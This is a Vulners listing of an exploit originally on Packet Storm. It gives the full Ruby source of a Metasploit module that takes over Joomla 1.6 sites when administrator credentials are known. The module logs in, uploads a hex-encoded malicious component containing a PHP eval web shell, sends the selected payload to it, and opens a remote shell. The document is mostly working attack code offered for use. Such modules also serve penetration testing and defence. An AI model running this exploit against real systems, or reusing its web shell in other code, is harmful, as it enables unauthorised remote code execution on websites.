Lucene search
K

Joomla 1.6.x Administrator PHP Code Execution

🗓️ 31 May 2011 00:00:00Reported by James BercegayType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 43 Views

Module for gaining remote shell access to Joomla! 1.6.* when admin credentials are known, by uploading a malicious component to execute the selected payload

Code
`# Requirements  
require 'msf/core'  
  
# Class declaration  
class Metasploit3 < Msf::Exploit::Remote  
  
# Includes  
include Msf::Exploit::Remote::HttpClient  
  
# Initialize module  
def initialize(info = {})  
  
# Initialize information  
super(update_info(info,  
'Name' => 'Joomla 1.6.* Administrator PHP Code Execution',  
'Description' => %q{  
This module can be used to gain a remote shell to a Joomla! 1.6.* install when  
administrator credentials are known. This is acheived by uploading a malicious  
component which is used to execute the selected payload.  
},  
'Author' =>   
[   
'James Bercegay <james[at]gulftech.org> ( http://www.gulftech.org/ )'  
],  
'License' => MSF_LICENSE,  
'Privileged' => false,  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [[ 'Automatic', { }]],  
'DefaultTarget' => 0 ))  
  
register_options(  
[  
# Required  
OptString.new('JDIR', [true, 'Joomla directory', '/']),  
OptString.new('JUSR', [true, 'Joomla admin username', nil]),  
OptString.new('JPWD', [true, 'Joomla admin password', nil]),  
  
# Optional  
OptBool.new( 'DBUG', [false, 'Verbose output? (Debug)' , nil ]),  
OptString.new('AGNT', [false, 'User Agent Info' , 'Mozilla/5.0' ]),  
], self.class)  
end  
#################################################  
  
# Extract "Set-Cookie"  
def init_cookie(data, cstr = true)  
  
# Raw request? Or cookie data specifically?  
data = data.headers['Set-Cookie'] ? data.headers['Set-Cookie']: data  
  
# Beginning  
if ( data )  
  
# Break them apart  
data = data.split(', ')  
  
# Initialize  
ctmp = ''  
tmps = {}  
  
# Parse cookies  
data.each do | x |  
  
# Remove extra data  
x = x.split(';')[0]  
  
# Seperate cookie pairs  
if ( x =~ /([^;\s]+)=([^;\s]+)/im )  
  
# Key  
k = $1  
  
# Val  
v = $2  
  
# Valid cookie value?  
if ( v.length() > 0 )  
  
# Build cookie hash  
tmps[k] = v  
  
# Report cookie status  
print_status("Got Cookie: #{k} => #{v}");  
end  
end  
end  
  
# Build string data  
if ( cstr == true )  
  
# Loop  
tmps.each do |x,y|   
  
# Cookie key/value  
ctmp << "#{x}=#{y};"   
end  
  
# Assign  
tmps['cstr'] = ctmp  
end  
  
# Return  
return tmps  
else  
# Something may be wrong  
init_debug("No cookies within the given response")  
end  
end  
  
#################################################  
  
# Simple debugging output  
def init_debug(resp, exit = 0)  
  
# is DBUG set? Check it  
if ( datastore['DBUG'] )  
  
# Print debugging data  
print_status("######### DEBUG! ########")  
pp resp  
print_status("#########################")  
end  
  
# Continue execution  
if ( exit.to_i > 0 )  
  
# Exit  
exit(0)  
end  
  
end  
  
#################################################  
  
# Generic post wrapper  
def http_post(url, data, headers = {}, timeout = 15)  
  
# Protocol  
proto = datastore['SSL'] ? 'https': 'http'   
  
# Determine request url  
url = url.length ? url: ''  
  
# Determine User-Agent  
headers['User-Agent'] = headers['User-Agent'] ?   
headers['User-Agent'] : datastore['AGNT']  
  
# Determine Content-Type  
headers['Content-Type'] = headers['Content-Type'] ?   
headers['Content-Type'] : "application/x-www-form-urlencoded"  
  
# Determine Content-Length  
headers['Content-Length'] = data.length  
  
# Determine Referer  
headers['Referer'] = headers['Referer'] ?   
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"  
  
# Delete all the null headers  
headers.each do | hkey, hval |  
  
# Null value  
if ( !hval )  
  
# Delete header key  
headers.delete(hkey)  
end  
end  
  
# Send request  
resp = send_request_raw(  
{  
'uri' => datastore['JDIR'] + url,  
'method' => 'POST',  
'data' => data,  
'headers' => headers  
},   
timeout )  
  
# Returned  
return resp  
  
end  
  
#################################################  
  
# Generic post multipart wrapper   
def http_post_multipart(url, data, headers = {}, timeout = 15)  
  
# Boundary string  
bndr = Rex::Text.rand_text_alphanumeric(8)  
  
# Protocol  
proto = datastore['SSL'] ? 'https': 'http'   
  
# Determine request url  
url = url.length ? url: ''  
  
# Determine User-Agent  
headers['User-Agent'] = headers['User-Agent'] ?   
headers['User-Agent'] : datastore['AGNT']  
  
# Determine Content-Type  
headers['Content-Type'] = headers['Content-Type'] ?   
headers['Content-Type'] : "multipart/form-data; boundary=#{bndr}"  
  
# Determine Referer  
headers['Referer'] = headers['Referer'] ?   
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"  
  
# Delete all the null headers  
headers.each do | hkey, hval |  
  
# Null value  
if ( !hval )  
  
# Delete header key  
headers.delete(hkey)  
end  
end  
  
# Init  
temp = ''  
  
# Parse form values  
data.each do |name, value|  
  
# Hash means file data  
if ( value.is_a?(Hash) )  
  
# Validate form fields  
filename = value['filename'] ? value['filename']: init_debug("Filename value missing from #{name}", 1)  
contents = value['contents'] ? value['contents']: init_debug("Contents value missing from #{name}", 1)  
mimetype = value['mimetype'] ? value['mimetype']: init_debug("Mimetype value missing from #{name}", 1)  
encoding = value['encoding'] ? value['encoding']: "Binary"  
  
# Build multipart data  
temp << "--#{bndr}\r\n"  
temp << "Content-Disposition: form-data; name=\"#{name}\"; filename=\"#{filename}\"\r\n"  
temp << "Content-Type: #{mimetype}\r\n"  
temp << "Content-Transfer-Encoding: #{encoding}\r\n"  
temp << "\r\n"  
temp << "#{contents}\r\n"  
  
else  
# Build multipart data  
temp << "--#{bndr}\r\n"  
temp << "Content-Disposition: form-data; name=\"#{name}\";\r\n"  
temp << "\r\n"  
temp << "#{value}\r\n"  
end  
end  
  
# Complete the form data  
temp << "--#{bndr}--\r\n"  
  
# Assigned  
data = temp   
  
# Determine Content-Length  
headers['Content-Length'] = data.length  
  
# Send request  
resp = send_request_raw(  
{  
'uri' => datastore['JDIR'] + url,  
'method' => 'POST',  
'data' => data,  
'headers' => headers  
},   
timeout)  
  
# Returned  
return resp  
  
end  
  
#################################################  
  
# Generic get wrapper  
def http_get(url, headers = {}, timeout = 15)  
  
# Protocol  
proto = datastore['SSL'] ? 'https': 'http'   
  
# Determine request url  
url = url.length ? url: ''  
  
# Determine User-Agent  
headers['User-Agent'] = headers['User-Agent'] ?   
headers['User-Agent'] : datastore['AGNT']  
  
# Determine Referer  
headers['Referer'] = headers['Referer'] ?   
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"  
  
# Delete all the null headers  
headers.each do | hkey, hval |  
  
# Null value // Also, remove post specific data, due to a bug ...  
if ( !hval || hkey == "Content-Type" || hkey == "Content-Length" )  
  
# Delete header key  
headers.delete(hkey)  
end  
end  
  
# Send request  
resp = send_request_raw({  
'uri' => datastore['JDIR'] + url,  
'headers' => headers,  
'method' => 'GET',  
}, timeout)  
  
# Returned  
return resp  
  
end  
#################################################   
  
def check  
  
# Banner grab request  
resp = http_get("index.php")  
  
# Extract Joomla version information  
if ( resp.body =~ /name="generator" content="Joomla! ([^\s]+)/ )  
  
# Version  
vers = $1.strip   
  
# Version "parts"  
ver1, ver2, ver3 = vers.split(/\./)  
  
# Only if 1.6.0 aka 1.6  
if ( ver2.to_i != 6 )  
  
# Safe  
print_error("Only compatible with the Joomla 1.6 branch")  
return Exploit::CheckCode::Safe  
else  
  
# Vulnerable  
return Exploit::CheckCode::Vulnerable  
end  
else  
  
# Verbose  
print_error("Unable to determine Joomla version ...")  
return Exploit::CheckCode::Safe  
end  
end  
  
#################################################  
  
def exploit  
  
# Numeric test string  
tstr = Time.now.to_i.to_s  
  
# MD5 test string  
tmd5 = Rex::Text.md5(tstr)  
  
# Encoded payload  
load = payload.encoded  
  
# Credentials  
user = datastore['JUSR']  
pass = datastore['JPWD']  
  
# Verbose   
print_status("Attempting to extract a valid request token")  
  
# Request a valid token  
resp = http_get("administrator/index.php")  
  
# Extract token  
if ( resp.body =~ /['|"]([a-f0-9]{32})["|']/ )  
  
# Token  
rtok = $1  
  
# Verbose  
print_status("Got token: #{rtok}")  
else  
  
# Failure  
print_error("Unable to extract request token. Exploit failed!")  
init_debug(resp)  
return  
end  
  
# Init cookie  
cook = init_cookie(resp)  
  
# Build headers for authenticated session  
hdrs = { "Cookie" => cook['cstr'] }  
  
# Verbose  
print_status("Attempting to login as: #{user}")   
  
# Post data for login request  
post = "username=#{user}&passwd=#{pass}&lang=&option=com_login&task=login&#{rtok}=1"  
  
# Login request  
resp = http_post("administrator/index.php", post, hdrs)  
  
# Authentication successful???  
if ( resp && resp.code == 303 )  
  
# Success  
print_status("Successfully logged in as: #{user}")   
else  
  
# Failure  
print_error("Unable to authenticate. Exploit failed!")  
init_debug(resp)  
return  
end   
  
# Verbose   
print_status("Attempting to extract refreshed request token")  
  
# Request a valid token (again)  
resp = http_get("administrator/index.php?option=com_installer", hdrs)   
  
# Extract token  
if ( resp.body =~ /['|"]([a-f0-9]{32})["|']/ )  
  
# Token  
rtok = $1  
  
# Verbose  
print_status("Got token: #{rtok}")  
else  
  
# Failure  
print_error("Unable to extract request token. Exploit failed!")  
init_debug(resp.body)  
return  
end  
  
# Component specific data  
cstr = "joomla"  
czip = "com_#{cstr}.zip"  
curi = "components/com_#{cstr}/#{cstr}.php"   
  
#################################################  
# Our Joomla specific PHP payload wrapper that is  
# used to have more flexibility when delivering a  
# selected payload to a target. The wrapper is in   
# the Joomla! 1.6 compononent format and can also   
# be used with other Joomla exploits.  
#################################################  
#  
# Type: Joomla 1.6 Component  
# File: com_joomla/joomla.xml <-- installer file  
# com_joomla/joomla.php <-- component file  
#  
# Data: <?php  
# # Modify settings  
# error_reporting(0);  
# ini_set('max_execution_time', 0);  
#  
# # Execute the selected payload, and delete the wrapper  
# @eval(base64_decode(file_get_contents('php://input')));  
# ?>  
#################################################  
  
# Hex encoded component zip data  
wrap = "\x50\x4B\x03\x04\x0A\x00\x00\x00\x00\x00\x65\xB3\x9A\x3E\x00\x00"  
wrap << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x63\x6F"  
wrap << "\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x50\x4B\x03\x04\x0A\x00\x00"  
wrap << "\x00\x00\x00\x35\xB2\x9A\x3E\x53\x03\xF2\xF9\xAF\x00\x00\x00\xAF"  
wrap << "\x00\x00\x00\x15\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C"  
wrap << "\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x70\x68\x70\x3C\x3F\x70\x68"  
wrap << "\x70\x0D\x0A\x23\x20\x4D\x6F\x64\x69\x66\x79\x20\x73\x65\x74\x74"  
wrap << "\x69\x6E\x67\x73\x0D\x0A\x65\x72\x72\x6F\x72\x5F\x72\x65\x70\x6F"  
wrap << "\x72\x74\x69\x6E\x67\x28\x30\x29\x3B\x0D\x0A\x69\x6E\x69\x5F\x73"  
wrap << "\x65\x74\x28\x27\x6D\x61\x78\x5F\x65\x78\x65\x63\x75\x74\x69\x6F"  
wrap << "\x6E\x5F\x74\x69\x6D\x65\x27\x2C\x20\x30\x29\x3B\x0D\x0A\x0D\x0A"  
wrap << "\x23\x20\x45\x78\x65\x63\x75\x74\x65\x20\x74\x68\x65\x20\x73\x65"  
wrap << "\x6C\x65\x63\x74\x65\x64\x20\x70\x61\x79\x6C\x6F\x61\x64\x0D\x0A"  
wrap << "\x40\x65\x76\x61\x6C\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63"  
wrap << "\x6F\x64\x65\x28\x66\x69\x6C\x65\x5F\x67\x65\x74\x5F\x63\x6F\x6E"  
wrap << "\x74\x65\x6E\x74\x73\x28\x27\x70\x68\x70\x3A\x2F\x2F\x69\x6E\x70"  
wrap << "\x75\x74\x27\x29\x29\x29\x3B\x0D\x0A\x3F\x3E\x50\x4B\x03\x04\x0A"  
wrap << "\x00\x00\x00\x00\x00\x91\xB6\x9A\x3E\x8D\x4A\x99\xA9\x07\x01\x00"  
wrap << "\x00\x07\x01\x00\x00\x15\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F"  
wrap << "\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x78\x6D\x6C\x3C\x3F"  
wrap << "\x78\x6D\x6C\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E\x30"  
wrap << "\x22\x20\x65\x6E\x63\x6F\x64\x69\x6E\x67\x3D\x22\x75\x74\x66\x2D"  
wrap << "\x38\x22\x3F\x3E\x0D\x0A\x3C\x65\x78\x74\x65\x6E\x73\x69\x6F\x6E"  
wrap << "\x20\x74\x79\x70\x65\x3D\x22\x63\x6F\x6D\x70\x6F\x6E\x65\x6E\x74"  
wrap << "\x22\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E\x36\x2E\x30"  
wrap << "\x22\x3E\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x6E\x61"  
wrap << "\x6D\x65\x3E\x4A\x6F\x6F\x6D\x6C\x61\x3C\x2F\x6E\x61\x6D\x65\x3E"  
wrap << "\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x66\x69\x6C\x65\x73"  
wrap << "\x20\x66\x6F\x6C\x64\x65\x72\x3D\x22\x73\x69\x74\x65\x22\x3E\x3C"  
wrap << "\x66\x69\x6C\x65\x6E\x61\x6D\x65\x3E\x6A\x6F\x6F\x6D\x6C\x61\x2E"  
wrap << "\x70\x68\x70\x3C\x2F\x66\x69\x6C\x65\x6E\x61\x6D\x65\x3E\x3C\x2F"  
wrap << "\x66\x69\x6C\x65\x73\x3E\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20"  
wrap << "\x20\x3C\x61\x64\x6D\x69\x6E\x69\x73\x74\x72\x61\x74\x69\x6F\x6E"  
wrap << "\x3E\x3C\x6D\x65\x6E\x75\x3E\x4A\x6F\x6F\x6D\x6C\x61\x3C\x2F\x6D"  
wrap << "\x65\x6E\x75\x3E\x3C\x2F\x61\x64\x6D\x69\x6E\x69\x73\x74\x72\x61"  
wrap << "\x74\x69\x6F\x6E\x3E\x0D\x0A\x3C\x2F\x65\x78\x74\x65\x6E\x73\x69"  
wrap << "\x6F\x6E\x3E\x0D\x0A\x50\x4B\x01\x02\x14\x00\x0A\x00\x00\x00\x00"  
wrap << "\x00\x65\xB3\x9A\x3E\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
wrap << "\x00\x0B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00"  
wrap << "\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x50\x4B"  
wrap << "\x01\x02\x14\x00\x0A\x00\x00\x00\x00\x00\x35\xB2\x9A\x3E\x53\x03"  
wrap << "\xF2\xF9\xAF\x00\x00\x00\xAF\x00\x00\x00\x15\x00\x00\x00\x00\x00"  
wrap << "\x00\x00\x00\x00\x20\x00\x00\x00\x29\x00\x00\x00\x63\x6F\x6D\x5F"  
wrap << "\x6A\x6F\x6F\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x70\x68"  
wrap << "\x70\x50\x4B\x01\x02\x14\x00\x0A\x00\x00\x00\x00\x00\x91\xB6\x9A"  
wrap << "\x3E\x8D\x4A\x99\xA9\x07\x01\x00\x00\x07\x01\x00\x00\x15\x00\x00"  
wrap << "\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x0B\x01\x00\x00\x63"  
wrap << "\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61"  
wrap << "\x2E\x78\x6D\x6C\x50\x4B\x05\x06\x00\x00\x00\x00\x03\x00\x03\x00"  
wrap << "\xBF\x00\x00\x00\x45\x02\x00\x00\x00\x00"  
  
# Verbose  
print_status("Attempting to upload payload wrapper component")  
  
# Post data  
data = {  
  
# Component data  
'install_package' =>   
{   
'filename' => czip,  
'contents' => wrap,  
'mimetype' => 'application/zip',  
'encoding' => 'binary',  
},  
  
# Required install params  
"installtype" => "upload",  
"task" => "install.install",  
"#{rtok}" => "1",  
}  
  
# Upload the wrapper component  
init_debug(http_post_multipart("administrator/index.php?option=com_installer&view=install", data, hdrs))  
  
# Deliver the selected payload to the target  
init_debug(http_post(curi, Rex::Text.encode_base64(load)))  
  
# Shell  
handler  
end  
end`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation